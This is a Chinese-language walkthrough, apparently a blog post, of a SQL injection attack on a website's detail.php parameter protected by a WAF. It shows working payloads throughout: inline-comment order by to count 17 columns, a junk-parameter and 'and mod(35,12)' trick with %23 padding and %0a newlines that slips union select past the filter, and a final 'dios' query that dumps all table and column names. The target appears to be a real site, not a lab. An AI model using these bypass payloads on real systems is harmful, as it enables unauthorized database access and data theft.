0x01注入环节

目标加单引号报错然后加闭合-- -返回正常确认存在注入

OK第一步判断注入完成然后我们order by 查看有多少个字段

发现链接被重置某不知名WAF 我们这里第一手先尝试一手内联注入看是否能绕过order by检测

测试发现内联确实能绕过order by 的检测 payload /!order/ /!by/ 10-- -

/!order/ /!by/ 18 18报错 17正常回显这里确定有17个字段然后我们进行union select

经测试发现内联无法绕过union select 这个站强制拦截 union 和 select关键字

这里发现就算把union注释了也会被拦截

这个确实是比较麻烦他强制拦截这两个关键字给我们注入带来了非常多的麻烦

然后这里经过我的测试我构造出了一种办法来绕过他这个WAF的限制

第一种办法利用 and mod(35,12)取基数和偶数的办法来让WAF的拦截变弱然后再加上脏数据绕过

现在我们来复现第一种办法绕过此WAF

这里发现构造and mod 还是会被拦截然后我们这里继续构造一波垃圾参数加and mod

来绕过他对union的拦截强度

什么是垃圾参数呢这里给大家讲一下当我们在url中输入：http://http://www.0day.team//index.php?s=a select，那么页面会显示危险请求，但是当我们输入http://http://www.0day.team//index.php?aaa=a select页面则不作任何响应。因为服务器端的脚本并没有接收aaa参数他认为我们的语句已经被注释掉了，所以会给我们放行，而实际上a、aaa都是垃圾参数并没有被我们的动态脚本所处理，所以也不会影响程序功能

现在我们来实际操作一波这个拦截力度比较强的WAF

这样去构造垃圾参数可以看到页面是正常访问的然后我们在id=10哪里正常输入我们的sql语句就行了

payload:detail.php?asdasdasdasd/*&id=10' and mod (35,12) union &asdasdas=1*/

这里可以发现已经不拦截union了可是这里比较鸡肋你把union和select连起来他会进行拦截这时候我们用构造脏数据的方法来进行绕过他的连接限制利用%23注释在里面添加脏数据然后利用%0a进行换行操作这样就可以成功绕过他这个WAF了

payload:detail.php?asdasdasdasd/*&id=10' and mod (35,12) union%23aasadasdassdasdasdasdasdasdasdasdasdasdasdasaasadasdassdasdasdasdasdasdasdasdasdasdasdasaasadasdassdasdasdasdasdasdasdasdasdasdasdasaasadasdassdasdasdasdasdasdasdasdasdasdasdasaasadasdassdasdasdasdasdasdasdasdasdasdasdasaasadasdassdasdasdasdasdasdasdasdasdasdasdasaasadasdassdasdasdasdasdasdasdasdasdasdasdas%0aselect &asdasdas=1*/

可以发现现在已经成功的绕过了union select OK现在我们来继续操作

成功的到回显位6

payload:detail.php?asdasdasdasd/*&id=.10' and mod (35,12) union%23aasadasdassdasdasdasdasdasdasdasdasdasdasdasaasadasdassdasdasdasdasdasdasdasdasdasdasdasaasadasdassdasdasdasdasdasdasdasdasdasdasdasaasadasdassdasdasdasdasdasdasdasdasdasdasdasaasadasdassdasdasdasdasdasdasdasdasdasdasdasaasadasdassdasdasdasdasdasdasdasdasdasdasdasaasadasdassdasdasdasdasdasdasdasdasdasdasdas%0aselect 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17-- -&asdasdas=1*/

OK然后我们继续来操作 database()获取当前数据库

可以发现数据库已经出来然后我们现在在来获取表

现在可以发现表名已经出来了还发现一个事情就是这个WAF好像只拦截union和select关键字这两个关键字有点难绕其他的都不拦截可惜可惜不然还可以在操作一波然后回到正题我们可以发现这个表实在是太多了我懒的一个一个找我这里直接构造一个爆表爆列的dios进行注入就行了

payload:detail.php?asdasdasdasd/*&id=.10' and mod (35,12) union%23aasadasdassdasdasdasdasdasdasdasdasdasdasdasaasadasdassdasdasdasdasdasdasdasdasdasdasdasaasadasdassdasdasdasdasdasdasdasdasdasdasdasaasadasdassdasdasdasdasdasdasdasdasdasdasdasaasadasdassdasdasdasdasdasdasdasdasdasdasdasaasadasdassdasdasdasdasdasdasdasdasdasdasdasaasadasdassdasdasdasdasdasdasdasdasdasdasdas%0aselect 1,2,3,4,5,concat((select @rui from(select (@rui:=0x00),(select @rui from information_schema.columns where table_schema=database() and @rui in(@rui:=concat(@rui,table_name,0x2d2d3e,column_name,0x3c62723e))))rui)),7,8,9,10,11,12,13,14,15,16,17-- -&asdasdas=1*/